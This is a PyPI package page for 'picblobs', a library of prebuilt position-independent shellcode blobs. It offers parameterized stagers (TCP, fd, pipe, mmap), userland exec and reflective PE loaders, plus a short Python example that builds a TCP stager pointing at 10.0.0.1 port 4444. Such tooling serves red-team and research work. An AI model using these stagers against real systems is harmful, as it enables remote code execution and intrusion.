Skip to main content

Position-independent code blob library

Project description

picblobs

picblobs ships prebuilt position-independent code blobs plus a Python API for selecting, inspecting, and assembling them.

The package contains the release-ready blob catalog:

  • manifest.json for target and blob discovery
  • Flat .bin payloads plus JSON sidecar metadata
  • A builder API for parameterized blobs such as alloc_jump, stager_tcp, stager_fd, stager_pipe, stager_mmap, ul_exec, and reflective_pe

This package does not bundle the cross-compiled runner executables used for QEMU-based execution and verification. Install picblobs-cli alongside it if you want the CLI commands or bundled runners.

Install

pip install picblobs

Python API

import picblobs
from picblobs import Blob

blob = picblobs.get_blob("hello", "linux", "x86_64")
print(blob.sha256)

stage = (
    Blob("linux", "x86_64")
    .stager_tcp()
    .address("10.0.0.1")
    .port(4444)
    .build()
)

CLI

The CLI now lives entirely in the companion package:

pip install picblobs-cli
picblobs-cli list
picblobs-cli info hello linux:x86_64
picblobs-cli extract hello linux:x86_64 -o hello.bin

Installing picblobs-cli also provides the bundled runners and the full build/run/verify toolchain:

picblobs-cli verify --os linux

Project Links

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

picblobs-0.1.1.tar.gz (428.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

picblobs-0.1.1-py3-none-any.whl (657.3 kB view details)

Uploaded Python 3

File details

Details for the file picblobs-0.1.1.tar.gz.

File metadata

  • Download URL: picblobs-0.1.1.tar.gz
  • Upload date:
  • Size: 428.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for picblobs-0.1.1.tar.gz
Algorithm Hash digest
SHA256 4d15b693b37ba9e7fa7b38dbcf9c707820b445a3ee58e5533e40bafb7763cc26
MD5 638e6b044e9bca97e426b4a1311c4d50
BLAKE2b-256 5a64193f5fdd1d7d70a32a0876d4ce75aa8a6398196862425e6fa4f260c0653d

See more details on using hashes here.

Provenance

The following attestation bundles were made for picblobs-0.1.1.tar.gz:

Publisher: picblobs.yml on williamkborn/pic

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file picblobs-0.1.1-py3-none-any.whl.

File metadata

  • Download URL: picblobs-0.1.1-py3-none-any.whl
  • Upload date:
  • Size: 657.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for picblobs-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 a8baa182079a1226b69835ef3caf12d075ecf60710b7c07ff576704093893dc1
MD5 e214004591f4597414bcbae6704f647a
BLAKE2b-256 44ba1a8069097b76e0e5f1f3e7fa1b171b8f29afb01585158b6f6b9aadc864a7

See more details on using hashes here.

Provenance

The following attestation bundles were made for picblobs-0.1.1-py3-none-any.whl:

Publisher: picblobs.yml on williamkborn/pic

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page